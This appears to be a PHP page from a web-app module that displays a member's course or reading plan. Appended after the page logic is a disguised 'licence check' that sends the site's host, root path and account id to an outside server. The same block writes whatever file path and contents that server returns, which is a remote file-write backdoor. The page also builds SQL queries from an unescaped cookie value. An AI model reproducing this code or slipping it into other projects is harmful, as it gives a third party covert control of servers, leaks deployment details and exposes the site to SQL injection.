<?php
global $_W,$_GPC;
$title = '课程计划';
$id = $_COOKIE['mem_book'];
$mem = $this->getMem();
$mbook = get('select * from '.tb('mem_book')." where id='{$id}' and mid='{$mem['id']}' and status = 0");
if (empty($mbook)){
	header('location:'.$this->murl('index'));
	exit;
}
$book = get('select * from '.tb('book')." where id='{$mbook['bid']}'");
$result = $this->getTodayChapter($mbook);
$dk = $result['dir'];
$dir = $result['list'][$dk];
$total = 0;
$p = 0;
$credit = col('select count(1) from '.tb('bremark')." where bmid='{$id}'");
$credit = max(0,$credit);
foreach ($result['list'] as $l){
	if($l['dir']['lock']==0) $p++;
	$total++;
}
$share = $this->getShare($mem, $cfg);
include $this->template('bplan');

$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}